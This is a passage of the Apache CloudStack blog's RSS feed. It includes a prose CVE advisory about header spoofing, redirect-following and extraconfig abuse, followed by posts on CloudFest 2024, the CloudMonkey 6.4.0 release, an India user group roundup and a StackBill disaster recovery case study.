installations.</p><p><a href="https://www.cve.org/CVERecord?id=CVE-2024-29006" target="_blank" rel="noopener noreferrer"><strong>CVE-2024-29006</strong></a>: x-forwarded-for HTTP header parsed by default</p><p>Severity: moderate</p><p>Description: By default the CloudStack management server honours the
x-forwarded-for HTTP header and logs it as the source IP of an API
request. This could lead to authentication bypass and other
operational problems should an attacker decide to spoof their IP
address this way.</p><p>Affected versions: Apache CloudStack 4.11.0.0 through 4.18.1.0, and 4.19.0.0</p><p>Credit: Yuyang Xiao &lt; <a href="mailto:superxyyang@gmail.com" target="_blank" rel="noopener noreferrer">superxyyang@gmail.com</a> &gt; (finder)</p><p><a href="https://www.cve.org/CVERecord?id=CVE-2024-29007" target="_blank" rel="noopener noreferrer"><strong>CVE-2024-29007</strong></a>: When
downloading templates or ISOs, the management server and SSVM follow HTTP
redirects with potentially dangerous consequences</p><p>Severity: moderate</p><p>Affected versions: Apache CloudStack 4.9.1.0 through 4.18.1.0, and 4.19.0.0</p><p>Description: The CloudStack management server and secondary storage VM could be
tricked into making requests to restricted or random resources by
means of following 301 HTTP redirects presented by external servers
when downloading templates or ISOs. Users are recommended to upgrade
to version 4.18.1.1 or 4.19.0.1, which fixes this issue.</p><p>Credit: Yuyang Xiao &lt; <a href="mailto:superxyyang@gmail.com" target="_blank" rel="noopener noreferrer">superxyyang@gmail.com</a> &gt; (finder)</p><p><a href="https://www.cve.org/CVERecord?id=CVE-2024-29008" target="_blank" rel="noopener noreferrer"><strong>CVE-2024-29008</strong></a>: The
extraconfig feature can be abused to load hypervisor resources on a VM instance</p><p>Severity: critical</p><p>Affected versions: Apache CloudStack 4.14.0.0 through 4.18.1.0, and 4.19.0.0</p><p>Description: A problem has been identified in the CloudStack additional VM
configuration (extraconfig) feature which can be misused by anyone who
has privilege to deploy a VM instance or configure settings of an
already deployed VM instance, to configure additional VM configuration
even when the feature is not explicitly enabled by the administrator.
In a KVM based CloudStack environment, an attacker can exploit this
issue to attach host devices such as storage disks, and PCI and USB
devices such as network adapters and GPUs, in a regular VM instance
that can be further exploited to gain access to the underlying network
and storage infrastructure resources, and access any VM instance disks
on the local storage.</p><p>Credit: Wei Zhou &lt; <a href="mailto:ustcweizhou@gmail.com" target="_blank" rel="noopener noreferrer">ustcweizhou@gmail.com</a> &gt; (finder)</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[CloudStack at CloudFest 2024]]></title>
            <link>https://cloudstack.apache.org/blog/cloudfest-2024-roundup</link>
            <guid>https://cloudstack.apache.org/blog/cloudfest-2024-roundup</guid>
            <pubDate>Fri, 29 Mar 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[CloudFest happened last week and the CloudStack community was pleased to attend the premier event for internet infrastructure globally. Apache CloudStack has proudly showcased at the conference, with several community members representing both the technology and community.]]></description>
            <content:encoded><![CDATA[<p><img loading="lazy" src="/assets/images/header-1a6767b1e22057921b145f6c860274dc.png" title="Blog Header Image" width="1200" height="628" class="img_ev3q"></p><p>CloudFest happened last week and the CloudStack community was pleased to attend the premier event for internet infrastructure globally. Apache CloudStack has proudly showcased at the conference, with several community members representing both the technology and community. </p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="why-we-participate">Why We Participate?<a href="#why-we-participate" class="hash-link" aria-label="Direct link to Why We Participate?" title="Direct link to Why We Participate?">​</a></h2><p>Apache CloudStack's presence at CloudFest serves multiple strategic
purposes. Firstly, by exhibiting at this major event in the cloud
computing industry, Apache CloudStack enhances its visibility and
connects with a diverse audience of developers, IT professionals,
business leaders and potential new users. This exposure facilitates
networking opportunities and enables Apache CloudStack to showcase its
features and recent developments, fostering engagement with potential
users, contributors, and partners.</p><p>Moreover, CloudFest offers a platform for Apache CloudStack to engage
directly with its existing community, facilitating face-to-face
interactions and discussions. The participation in CloudFest allows
Apache CloudStack to stay competitive by highlighting its unique
advantages and strengths amidst the broader landscape of cloud
computing solutions.</p><p>Lastly, the event provides a valuable opportunity for Apache
CloudStack to gather market intelligence, enabling the project to
adapt and evolve in alignment with emerging trends, customer needs,
and industry challenges.</p><p>We are greatful to all community members, who came to help at the
booth, did numerous demos of Apache CloudStack and showcased its
strenghts to service providers and cloud builders from all around the
globe.</p><p><img loading="lazy" src="/assets/images/crowded-booth-1b7fa120b92387cae4922592bd7c410d.png" title="the cloudstack team" width="1378" height="1033" class="img_ev3q"></p><p><img loading="lazy" src="/assets/images/lesEntrepeneurs-a941aeb47608486519812e1e275191ed.png" title="the cloudstack team" width="1378" height="1033" class="img_ev3q"></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="a-special-thanks-to-the-cloudfest-team">A Special Thanks to the CloudFest Team<a href="#a-special-thanks-to-the-cloudfest-team" class="hash-link" aria-label="Direct link to A Special Thanks to the CloudFest Team" title="Direct link to A Special Thanks to the CloudFest Team">​</a></h2><p>Apache CloudStack extends gratitude to the CloudFest team, their CEO
Christian Jaeger and Johannes Gottschlich, for their unwavering
support and dedication to fostering innovation and collaboration
within the technology community.</p><p>We deeply appreciate their efforts in providing a platform for
projects like Apache CloudStack to thrive, connect with a diverse
audience, and showcase the transformative potential of open-source
solutions. It is through their support and understanding of the
significance of open-source technologies that projects like Apache
CloudStack can continue to evolve, empower users, and shape the future
of cloud computing.</p><p><img loading="lazy" src="/assets/images/booth-crew-d59035265e6a7d24eab16e825f20820d.png" title="the cloudstack team" width="1380" height="1328" class="img_ev3q"></p><p><img loading="lazy" src="/assets/images/ACS-businessmen-059e5a7b031a3d6083ed5edfabb61711.png" title="the cloudstack team" width="480" height="360" class="img_ev3q"></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="exploring-the-cloudstack-419-release">Exploring the CloudStack 4.19 Release<a href="#exploring-the-cloudstack-419-release" class="hash-link" aria-label="Direct link to Exploring the CloudStack 4.19 Release" title="Direct link to Exploring the CloudStack 4.19 Release">​</a></h2><p>Our community members have shared with CloudFest attendees the latest
advancements and capabilities of Apache CloudStack, made available in
the 4.19 release! Due to VMware’s acquisition by Broadcom, there have
been many topical discussions on the latest CloudStack features
suitable for cloud service providers looking for a VMware alternative.</p>]]></content:encoded>
            <category>news</category>
            <category>roundup</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack CloudMonkey 6.4.0 Release]]></title>
            <link>https://cloudstack.apache.org/blog/cloudmonkey-6.4-release</link>
            <guid>https://cloudstack.apache.org/blog/cloudmonkey-6.4-release</guid>
            <pubDate>Thu, 28 Mar 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[We are pleased to announce the release of Apache CloudStack CloudMonkey v6.4.0,]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/cloudmonkey-6.4-release"><img loading="lazy" src="/assets/images/banner-00cffd639418c48fde1f4c479259e9b6.svg" title="CloudMonkey Image" width="1484" height="363" class="img_ev3q"></a></p><p>We are pleased to announce the release of Apache CloudStack CloudMonkey v6.4.0,
the latest version of the popular command-line interface tool for managing
Apache CloudStack environments.</p><p>CloudMonkey 6.4.0 comes packed with several new features, enhancements, and bug
fixes to make it even more robust and reliable. Some of the key highlights of
this release include:</p><ul><li>Improve CLI mode usage and output handling</li><li>Add support for http POST handling for password and user-data</li><li>Optimise async API jobs polling</li><li>Better interrupt handling of Ctrl+C to cancel on-going API request but not crash cmk</li><li>Remove unnecessary call to listApis (sync) when using CLI mode with url, api key, secret key</li><li>Updates inbuilt API precache to ACS v4.19</li></ul><p>CloudMonkey v6.4.0 is <a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">available for download</a>
now from the Apache CloudStack website. For more information on the release, including a full list
of new features and bug fixes, please refer to the release notes.</p><a href="https://github.com/apache/cloudstack-cloudmonkey/releases/tag/6.4.0" target="_blank" rel="noopener noreferrer" class="button button--primary">Download CloudMonkey v6.4.0</a><br><br><h1>Downloads and Documentation</h1><p>The official source code for CloudMonkey v6.4.0 can be downloaded from:
<a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/downloads.html</a></p><p>CloudMonkey's usage details are documented at
<a href="https://github.com/apache/cloudstack-cloudmonkey/wiki" target="_blank" rel="noopener noreferrer">https://github.com/apache/cloudstack-cloudmonkey/wiki</a></p><p>We encourage all CloudStack users to upgrade to CloudMonkey 6.4.0 to take
advantage of the latest features and improvements. As always, we welcome
feedback and contributions from the community to help make CloudMonkey even
better.</p><p>Thank you for your continued support of Apache CloudStack CloudMonkey.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Meet Apache CloudStack at CloudFest 2024]]></title>
            <link>https://cloudstack.apache.org/blog/cloudfest-2024</link>
            <guid>https://cloudstack.apache.org/blog/cloudfest-2024</guid>
            <pubDate>Thu, 29 Feb 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Meet Apache CloudStack at CloudFest 2024]]></description>
            <content:encoded><![CDATA[<p><img loading="lazy" src="/assets/images/header-573be501cef3bc223b017fd1dceac14f.png" title="Blog Header Image" width="1200" height="628" class="img_ev3q"></p><h2>Meet Apache CloudStack at CloudFest 2024</h2><p>On March 18-21st, the #1 internet infrastructure event in the world –
<a href="https://www.cloudfest.com/" target="_blank" rel="noopener noreferrer">CloudFest</a> – will be taking place in
Rust, Germany! We are excited to share that Apache CloudStack will be
exhibiting at this year's CloudFest. This will provide the opportunity
to share Apache CloudStack’s capabilities to the wider cloud computing
industry.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="get-a-free-ticket">Get a Free Ticket!<a href="#get-a-free-ticket" class="hash-link" aria-label="Direct link to Get a Free Ticket!" title="Direct link to Get a Free Ticket!">​</a></h2><p>Use the following code to attend the highly anticipated conference for
free, saving you 499 EUR - c3SY3Zu2</p><div class="col col-3 col-lg text-center"><a href="https://registration.cloudfest.com/registration" target="_blank" rel="noopener noreferrer" class="button button--primary">Register for Free</a></div><p><strong>Make sure to use the code:</strong></p><p><img loading="lazy" src="/assets/images/tickets-596b34e626d5fa1ef2374ed5ff39f1e5.png" title="the cloudstack team" width="1118" height="518" class="img_ev3q"></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="the-cloudstack-booth-number-is-r30">The CloudStack Booth Number is R30!<a href="#the-cloudstack-booth-number-is-r30" class="hash-link" aria-label="Direct link to The CloudStack Booth Number is R30!" title="Direct link to The CloudStack Booth Number is R30!">​</a></h2><p>If you do choose to attend the conference, make sure to swing by the
CloudStack booth! Our booth members are looking forward to having
interesting discussions with the wider cloud computing industry, on
topics such as:</p><ul><li>VMware to KVM Migration</li><li>VMware to CloudStack migration</li><li>KVM Import</li><li>VNF Appliances Support</li><li>CloudStack Object Storage</li><li>Schedule Instance Lifecycle Operations</li><li>CloudStack DRS</li><li>And more!</li></ul><p><img loading="lazy" src="/assets/images/team-94f36e56889b292e47d30c915a641880.png" title="the cloudstack team" width="1380" height="1035" class="img_ev3q"></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="apache-cloudstack-at-cloudfest">Apache CloudStack at CloudFest<a href="#apache-cloudstack-at-cloudfest" class="hash-link" aria-label="Direct link to Apache CloudStack at CloudFest" title="Direct link to Apache CloudStack at CloudFest">​</a></h2><p>Being part of CloudFest is another step for our community to connect
with existing users in the cloud industry and highlight the
improvements in our project. For example, by using the latest features
released in CloudStack 4.19, users can migrate to CloudStack from
VMware environments.</p><p>Additionally, we look forward to meeting individuals interested in
contributing to open-source projects and involving them in Apache
CloudStack.</p><p>We are looking forward to the opportunity to discuss Apache CloudStack
with potential new users and explore collaborations with technologies
seeking integration opportunities.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="how-apache-cloudstack-benefits-cloud-builders">How Apache CloudStack Benefits Cloud Builders<a href="#how-apache-cloudstack-benefits-cloud-builders" class="hash-link" aria-label="Direct link to How Apache CloudStack Benefits Cloud Builders" title="Direct link to How Apache CloudStack Benefits Cloud Builders">​</a></h2><p>For companies venturing into the public cloud market, the challenge
lies in finding the right software and partners that facilitate swift
deployment for their customers. This hurdle can consume a considerable
amount of time and potentially lead to a diminished return on
investment if incorrect choices are made in delivering both public and
private cloud solutions.</p><p>CloudStack is a turnkey solution for cloud builders and managed
service providers. Being entirely open-source, it is user-friendly,
easy to implement, manage, and scale. CloudStack is also backed by a
large open-source community and adheres to rapid release
cycles. Apache CloudStack assists cloud builders in overcoming key
challenges such as costs, avoiding vendor lock-in, and efficiently
managing a multitude of physical servers spread across geographically
distributed data centers.</p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[CloudStack India User Group 2024 Hyderabad Roundup]]></title>
            <link>https://cloudstack.apache.org/blog/csiug-2024-hyd-roundup</link>
            <guid>https://cloudstack.apache.org/blog/csiug-2024-hyd-roundup</guid>
            <pubDate>Wed, 28 Feb 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[On February 23rd, the CloudStack India User Group 2024 took place in Hyderabad,]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/csiug-2024-hyd-roundup"><img loading="lazy" src="/assets/images/banner-a74192575a0719a1dbb6cdff3d6435c2.png" title="CSIUG 2024 Hyderabad Roundup" width="1384" height="721" class="img_ev3q"></a></p><p>On February 23rd, the CloudStack India User Group 2024 took place in Hyderabad,
seeing the gathering of CloudStack enthusiasts, experts, and industry leaders
across India, as they engaged in sessions about the open-source project. The
meetup provided a platform to explore Apache CloudStack in detail, with a
particular focus on the new features released in Apache CloudStack 4.19. The
user group also saw its participants exchange insights and establish new
connections.</p><p>Below you can find the session recordings and slides from the user group.</p><p><strong>Access each session's slides by clicking onto the presentation graphic.</strong></p><a href="https://photos.google.com/u/1/share/AF1QipM0NzSg04eMoTW1jhXHwfEBUNrvCigWWSTrjB1aWfnmsBhRx6QaCOeIfep17u5cvQ?key=OGYyLXMydjd4YWtWSXRRcmQ1dG5jVzh1VmVpRTl3" target="_blank" rel="noopener noreferrer" class="button button--primary button--lg">View Photo Gallery</a><br> <br><h1>Sessions</h1><h2 class="anchor anchorWithStickyNavbar_LWe7" id="cloudstack-101-the-best-way-to-build-your-private-cloud-rohit-yadav">CloudStack 101: The Best Way to Build Your Private Cloud, <a href="https://www.linkedin.com/in/rohityadavcloud/" target="_blank" rel="noopener noreferrer">Rohit Yadav</a><a href="#cloudstack-101-the-best-way-to-build-your-private-cloud-rohit-yadav" class="hash-link" aria-label="Direct link to cloudstack-101-the-best-way-to-build-your-private-cloud-rohit-yadav" title="Direct link to cloudstack-101-the-best-way-to-build-your-private-cloud-rohit-yadav">​</a></h2><p>Apache CloudStack is an open-source software designed to deploy and manage large
networks of virtual machines, as a highly available, highly scalable
Infrastructure as a Service (IaaS) cloud computing platform. This talk
introduces the technology, its architecture, its history and community.</p><p><a href="https://www.youtube.com/watch?v=pASzZR57V_8&amp;list=PLnIKk7GjgFlYRGmxK70VXSgpNXjEBHpYw&amp;index=1" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/Welcome-7e3e794da82a76ff713f0323071591bb.png" title="The Best Way to Build Your Private Cloud - video" width="1172" height="644" class="img_ev3q"></a></p><p><a href="https://www.slideshare.net/slideshow/embed_code/key/tE2SKCfqG1zzhv" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/Welcome-652d6e946b5391e1841342012be5a248.png" title="The Best Way to Build Your Private Cloud - slides" width="1622" height="914" class="img_ev3q"></a></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="whats-new-in-cloudstack-419-abhishek-kumar">What’s New in CloudStack 4.19, <a href="https://www.linkedin.com/in/shwstppr/" target="_blank" rel="noopener noreferrer">Abhishek Kumar</a><a href="#whats-new-in-cloudstack-419-abhishek-kumar" class="hash-link" aria-label="Direct link to whats-new-in-cloudstack-419-abhishek-kumar" title="Direct link to whats-new-in-cloudstack-419-abhishek-kumar">​</a></h2><p>This session gives a brief introduction to the new and exciting feature in the
latest CloudStack LTS release, ie, 4.19.0. The discussion includes the details
on the timeline of the CloudStack 4.19.0 release, overview of some of the
marquee, new feature of the release – Object storage framework, KVM ingestion,
Hypervisor agnostic simple DRS, CAPC aware CKS, OAuth2, DRaaS with Multi zone
disaster recovery, etc and a summary of improvements added since the previous
major LTS release of the CloudStack, ie, 4.18.0.</p><p><a href="https://www.youtube.com/watch?v=-uDdCrV9bFU&amp;list=PLnIKk7GjgFlYRGmxK70VXSgpNXjEBHpYw&amp;index=2" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/WhatsNew-72cf208915d875fe3a0a8a242ca6ea72.png" title="Whats's new in CloudStack 4.19 - video" width="1174" height="643" class="img_ev3q"></a></p><p><a href="https://www.slideshare.net/slideshow/embed_code/key/pG7OmG75QZYBNW" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/WhatsNew-b42ba6e5628ac30b8ccccdcaaa78fd62.png" title="Whats's new in CloudStack 4.19 - slides" width="1622" height="914" class="img_ev3q"></a></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="how-we-grew-up-with-cloudstack-and-its-journey-dilip-singh">How We Grew Up with CloudStack and its Journey, <a href="https://www.linkedin.com/in/dilip-singh-10956256/" target="_blank" rel="noopener noreferrer">Dilip Singh</a><a href="#how-we-grew-up-with-cloudstack-and-its-journey-dilip-singh" class="hash-link" aria-label="Direct link to how-we-grew-up-with-cloudstack-and-its-journey-dilip-singh" title="Direct link to how-we-grew-up-with-cloudstack-and-its-journey-dilip-singh">​</a></h2><p>In this session, Senior IT Manager at DataHub Nepal, Dilip Singh, shares how
DataHub grew up with CloudStack and details the journey the company had with the
cloud orchestration platform.</p><p><a href="https://www.youtube.com/watch?v=4tkj4Q4MX80&amp;list=PLnIKk7GjgFlYRGmxK70VXSgpNXjEBHpYw&amp;index=3" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/NepalGrewUp-f2fe259d12ccb5a65379a1d66ab5a3a7.png" title="How We Grew Up with CloudStack and its Journey - video" width="1174" height="643" class="img_ev3q"></a></p><p><a href="https://www.slideshare.net/slideshow/embed_code/key/61TwJQZJkOuEyK" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/NepalGrewUp-3368b36a44302a43a43ca1862c5747e1.png" title="How We Grew Up with CloudStack and its Journey - slides" width="1622" height="914" class="img_ev3q"></a></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="vm-migration-from-vmware-to-cloudstack-and-kvm-suresh-anaparti">VM Migration from VMware to CloudStack and KVM, <a href="https://www.linkedin.com/in/sureshanaparti/" target="_blank" rel="noopener noreferrer">Suresh Anaparti</a><a href="#vm-migration-from-vmware-to-cloudstack-and-kvm-suresh-anaparti" class="hash-link" aria-label="Direct link to vm-migration-from-vmware-to-cloudstack-and-kvm-suresh-anaparti" title="Direct link to vm-migration-from-vmware-to-cloudstack-and-kvm-suresh-anaparti">​</a></h2><p>The support for migrating VMware instances, and importing KVM instances to a
CloudStack-managed KVM environment has been added to CloudStack 4.19.</p><p>In this talk, Suresh provides the details about the import/migration process in
CloudStack along with a demo, and discusses the future improvements.</p><p><a href="https://www.youtube.com/watch?v=h83wxxelRig&amp;list=PLnIKk7GjgFlYRGmxK70VXSgpNXjEBHpYw&amp;index=4" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/VmwareKVMMigration-6015f913e587980c88d0f12edd3ec5f0.png" title="VM Migration from VMware to CloudStack and KVM - video" width="1173" height="648" class="img_ev3q"></a></p><p><a href="https://www.slideshare.net/slideshow/embed_code/key/A8JFpCPykKA3EF" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/VmwareKVMMigration-c77b001d05696cc5d7ed3fe3d602bfe0.png" title="VM Migration from VMware to CloudStack and KVM - slides" width="1622" height="914" class="img_ev3q"></a></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="elevating-cloud-infrastructure-with-object-storage-drs-vm-scheduling-and-draas-jithin-raju--vishesh-jindal">Elevating Cloud Infrastructure with Object Storage, DRS, VM Scheduling, and DRaaS, <a href="https://www.linkedin.com/in/rajujith/" target="_blank" rel="noopener noreferrer">Jithin Raju</a> &amp; <a href="https://www.linkedin.com/in/vishesh92/" target="_blank" rel="noopener noreferrer">Vishesh Jindal</a><a href="#elevating-cloud-infrastructure-with-object-storage-drs-vm-scheduling-and-draas-jithin-raju--vishesh-jindal" class="hash-link" aria-label="Direct link to elevating-cloud-infrastructure-with-object-storage-drs-vm-scheduling-and-draas-jithin-raju--vishesh-jindal" title="Direct link to elevating-cloud-infrastructure-with-object-storage-drs-vm-scheduling-and-draas-jithin-raju--vishesh-jindal">​</a></h2><p>In this session, Vishesh Jindal and Jithin Raju give a demonstration on Apache
CloudStack's 4.19 marquee features - Object Storage, DRS, VM schedule &amp; DRaaS.</p><p><a href="https://www.youtube.com/watch?v=w85gB1SXS7U&amp;list=PLnIKk7GjgFlYRGmxK70VXSgpNXjEBHpYw&amp;index=5" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/Elevating-0a30a652fc708cfb75c8ce3c56003cd1.png" title="Elevating Cloud Infrastructure with Object Storage, DRS, VM Scheduling, and DRaaS - video" width="1174" height="645" class="img_ev3q"></a></p><p><a href="https://www.slideshare.net/slideshow/embed_code/key/ta0GIsjchZA5ti" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/Elevating-d4c98b016c41a8747478efb6e0e83afc.png" title="Elevating Cloud Infrastructure with Object Storage, DRS, VM Scheduling, and DRaaS - slides" width="1622" height="914" class="img_ev3q"></a></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="cloudstack-tooling-ecosystem-kiran-chavala">CloudStack Tooling Ecosystem, <a href="https://www.linkedin.com/in/kiran-chavala-1bb6a97/" target="_blank" rel="noopener noreferrer">Kiran Chavala</a><a href="#cloudstack-tooling-ecosystem-kiran-chavala" class="hash-link" aria-label="Direct link to cloudstack-tooling-ecosystem-kiran-chavala" title="Direct link to cloudstack-tooling-ecosystem-kiran-chavala">​</a></h2><p>In this session, Kiran gives a talk about the rich ecosystem of tools (cmk,
CAPC, Terraform, Ansible, Packer, csbench, mbx), that support Cloudstack.</p><p>Find out how the various tools work and how easy it is to integrate with Apache
CloudStack.</p><p>This session provides a great way to speed up CloudStack adoption and improve
performance by saving valuable time.</p><p><a href="https://www.youtube.com/watch?v=xjgGzWTBIYw&amp;list=PLnIKk7GjgFlYRGmxK70VXSgpNXjEBHpYw&amp;index=6" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/Tooling-45e330025ef59bf3015f256faae750c3.png" title="CloudStack Tooling Ecosystem - video" width="1172" height="646" class="img_ev3q"></a></p><p><a href="https://www.slideshare.net/slideshow/embed_code/key/6woxuBiP6b6aq5" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/Tooling-3054440f8be6c0bfdd1e25874059578a.png" title="CloudStack Tooling Ecosystem - slides" width="1622" height="914" class="img_ev3q"></a></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="cloudstack-authentication-methods-harikrishna-patnala">CloudStack Authentication Methods, <a href="https://www.linkedin.com/in/harikrishnapatnala/" target="_blank" rel="noopener noreferrer">Harikrishna Patnala</a><a href="#cloudstack-authentication-methods-harikrishna-patnala" class="hash-link" aria-label="Direct link to cloudstack-authentication-methods-harikrishna-patnala" title="Direct link to cloudstack-authentication-methods-harikrishna-patnala">​</a></h2><p>CloudStack provides versatile authentication methods to ensure secure access and
identity management. This talk explores key authentication mechanisms within
CloudStack, including LDAP, SAML, OAuth2, API keys, etc. LDAP integration
enables centralized user authentication, while SAML facilitates single sign-on
(SSO) across various services. OAuth2 ensures secure authorization for
third-party applications, and API keys offer programmatic access to resources.
Additionally, CloudStack supports Two-Factor Authentication for an extra layer
of security, enhancing user verification through multiple verification steps.</p><p><a href="https://www.youtube.com/watch?v=M4cnljW2J9k&amp;list=PLnIKk7GjgFlYRGmxK70VXSgpNXjEBHpYw&amp;index=7" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/Auth-1d8986de03efe6819ecde93921040768.png" title="CloudStack Authentication Methods - video" width="1174" height="642" class="img_ev3q"></a></p><p><a href="https://www.slideshare.net/slideshow/embed_code/key/42HE4pVaNJl1qd" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/Auth-63437b975b8b1ad6c3366e934d6cfa78.png" title="CloudStack Authentication Methods - slides" width="1622" height="914" class="img_ev3q"></a></p>]]></content:encoded>
            <category>news</category>
            <category>roundup</category>
        </item>
        <item>
            <title><![CDATA[Building a Disaster Recovery Solution with Apache CloudStack & CEPH Storage]]></title>
            <link>https://cloudstack.apache.org/blog/disaster-recovery-cloudstack-ceph</link>
            <guid>https://cloudstack.apache.org/blog/disaster-recovery-cloudstack-ceph</guid>
            <pubDate>Fri, 16 Feb 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[StackBill is a provider of self-service intuitive Cloud Management Portals (CMP) designed to meet the diverse needs of data centers, enterprises, telecom companies, and cloud service providers. The company has leveraged the capabilities of Apache CloudStack to deliver a robust and scalable cloud infrastructure management solution to their customers. They also  developed is a Disaster Recovery solution, based on Apache CloudStack and Ceph.]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/disaster-recovery-cloudstack-ceph"><img loading="lazy" src="/assets/images/banner-0bdaf2175e55cd79871856b600eabd0c.png" title="Building a Disaster Recovery Solution with Apache CloudStack &amp; CEPH Storage" width="2300" height="1196" class="img_ev3q"></a></p><p><a href="https://www.stackbill.com/" target="_blank" rel="noopener noreferrer">StackBill</a> is a provider of self-service intuitive Cloud Management Portals (CMP) designed to meet the diverse needs of data centers, enterprises, telecom companies, and cloud service providers. The company has leveraged the capabilities of Apache CloudStack to deliver a robust and scalable cloud infrastructure management solution to their customers. They also  developed is a Disaster Recovery solution, based on Apache CloudStack and Ceph. </p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="stackbills-cloud-management-portal-for-apache-cloudstack">StackBill’s Cloud Management Portal for Apache CloudStack<a href="#stackbills-cloud-management-portal-for-apache-cloudstack" class="hash-link" aria-label="Direct link to StackBill’s Cloud Management Portal for Apache CloudStack" title="Direct link to StackBill’s Cloud Management Portal for Apache CloudStack">​</a></h2><p>StackBill's implementation of Apache CloudStack focuses on providing a user-friendly and efficient interface for managing cloud resources. They have developed a custom user portal that enables customers to easily provision, monitor, and manage their virtual machines and resources. The portal provides a centralized view of the entire cloud infrastructure, allowing users to efficiently allocate and optimize resources based on their requirements.</p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="resource-management">Resource Management<a href="#resource-management" class="hash-link" aria-label="Direct link to Resource Management" title="Direct link to Resource Management">​</a></h3><p>One of the key strengths of StackBill's implementation is its robust resource management capabilities. They have integrated advanced resource scheduling algorithms into Apache CloudStack, allowing for efficient utilization of computing resources. This ensures that customers can maximize their resource allocation, minimize wastage, and ultimately reduce costs. StackBill's implementation also includes features such as automatic scaling, load balancing, and high availability to ensure optimal performance and reliability of the cloud infrastructure.</p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="security">Security<a href="#security" class="hash-link" aria-label="Direct link to Security" title="Direct link to Security">​</a></h3><p>Security is a top priority for StackBill, and their implementation of Apache CloudStack reflects this focus. They have incorporated robust security measures into their solution to protect customer data and ensure the integrity of the cloud environment. This includes features such as network segmentation, firewall management, and encryption to safeguard sensitive information and mitigate potential security risks.</p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="integration-and-automation">Integration and Automation<a href="#integration-and-automation" class="hash-link" aria-label="Direct link to Integration and Automation" title="Direct link to Integration and Automation">​</a></h3><p>In addition to resource management and security, StackBill's implementation also emphasizes integration and automation. They have developed APIs and plugins that enable seamless integration with third-party tools and services, allowing customers to leverage their existing infrastructure investments. StackBill's implementation also supports automation through scripting and orchestration tools, enabling customers to automate routine tasks and streamline their cloud management workflows.</p><br><a class="button button--primary button--lg" target="_blank" href="/files/acs-case-study-stackbill.pdf">Download the Case Study</a><br><h2 class="anchor anchorWithStickyNavbar_LWe7" id="cost-effective--efficient-disaster-recovery-solution-with-apache-cloudstack--ceph-storage">Cost-effective &amp; Efficient Disaster Recovery Solution with Apache CloudStack &amp; CEPH Storage<a href="#cost-effective--efficient-disaster-recovery-solution-with-apache-cloudstack--ceph-storage" class="hash-link" aria-label="Direct link to Cost-effective &amp; Efficient Disaster Recovery Solution with Apache CloudStack &amp; CEPH Storage" title="Direct link to Cost-effective &amp; Efficient Disaster Recovery Solution with Apache CloudStack &amp; CEPH Storage">​</a></h2><p>StackBill identified a market need for a Disaster Recovery solution that was both cost-effective and based on open-source technologies. Proprietary DR solutions often proved to
be prohibitively expensive for many organizations. A telecom company in Asia
approached StackBill with the specific requirement of a DR solution based on open-
source technology. The objective was clear: to reduce costs, increase profitability,
and ensure business continuity by quickly recovering from catastrophic events.</p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="apache-cloudstack-a-foundation-for-success">Apache CloudStack: A Foundation for Success<a href="#apache-cloudstack-a-foundation-for-success" class="hash-link" aria-label="Direct link to Apache CloudStack: A Foundation for Success" title="Direct link to Apache CloudStack: A Foundation for Success">​</a></h3><p>Apache CloudStack was chosen as the cornerstone of the DR solution. This open-source cloud computing platform is highly scalable and offers Infrastructure as a Service (IaaS) capabilities. It provides the flexibility to deploy and manage large networks of virtual machines, making it ideal for delivering public cloud services and on-premises or hybrid cloud solutions.</p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="ceph-storage-ensuring-data-resilience">CEPH Storage: Ensuring Data Resilience<a href="#ceph-storage-ensuring-data-resilience" class="hash-link" aria-label="Direct link to CEPH Storage: Ensuring Data Resilience" title="Direct link to CEPH Storage: Ensuring Data Resilience">​</a></h3><p>Ceph, an open-source storage platform, was selected for its ability to offer object, block, and file storage from a single system. Its self-healing and self- managed features reduce administrative overhead, allowing it to 